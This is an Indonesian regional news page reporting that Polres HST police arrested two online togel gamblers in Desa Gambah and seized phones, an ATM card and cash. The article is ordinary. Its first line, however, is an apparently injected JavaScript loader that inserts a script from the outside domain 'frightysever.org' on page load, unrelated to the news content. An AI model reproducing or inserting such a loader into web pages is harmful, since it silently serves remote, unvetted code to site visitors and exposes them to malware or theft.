(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dua Penjudi Togel Ditangkap Polres HST di Desa Gambah


BARABAI, Upaya untuk memberantas perjudian di wilayah Kalimantan Selatan khususnya di Kabupaten Hulu Sungai Tengah (HST) terus dilakukan oleh Polres HST beserta Jajarannya dengan menindak para pelaku perjudian. Kali ini Unit Buser Polres HST melakukan penangkapan terhadap dua orang pelaku judi togel online, Senin (11/6) pukul 16.30 Wita.

“Ini merupakan salah satu upaya dari Polres HST untuk memberantas perjudian dengan melakukan giat penangkapan terhadap para pelaku judi togel,” kata Kapolres HST AKBP Sabana Atmojo, SIK, MH.

Pelaku berinisial HR (18) dan MF (26) yang merupakan warga Jalan Perintis Kemerdekaan Desa Gambah Kecamatan Barabai Kabupaten Hulu Sungai Tengah tertangkap saat petugas dari Polres HST mendapatkan informasi dari masyarakat Desa Gambah.

Menanggapi laporan dari masyarakat tersebut, Unit Buser Polres HST segera melakukan penyelidikan di sekitar Desa Gambah. Dari hasil penyelidikan tersebut, petugas melakukan penggerebekan dan penangkapan terhadap kedua pelaku yang saat itu sedang berada didalam rumah tersangka HR.

Petugas kemudian melakukan penggeledahan terhadap kedua pelaku dan berhasil menemukan barang bukti berupa satu buah Hp Samsung warna putih, satu buah HP Xiaomi warna gold, satu buah Hp LG warna hitam, satu lembar struk BRI, satu buah kartu ATM BRI dan uang tunai sebesar Rp 1.629.000  yang diduga uang setoran pemesanan angka togel. Selanjutnya pelaku dan barang bukti dibawa ke Polres HST guna proses sesuai hukum yang berlaku.

“Warga mengeluhkan adanya judi togel di Desa Gambah, makanya petugas segera melakukan penyelidikan di daerah tersebut. Dari tangan pelaku, petugas berhasil mengamankan barang bukti berupa tiga buah HP, satu kartu ATM BRI dan uang setoran pemesanan angka togel,” kata Kapolres HST.

Atas perbuatannya pelaku dijerat dengan pasal 303 Jo 303 Bis KUHP tentang perjudian dengan ancaman hukuman maksimal 10 tahun penjara,” tegas AKBP Sabana Atmojo. (rico)

Reporter:Rico
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

7 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

7 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

8 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

8 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

9 jam ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

9 jam ago

This website uses cookies.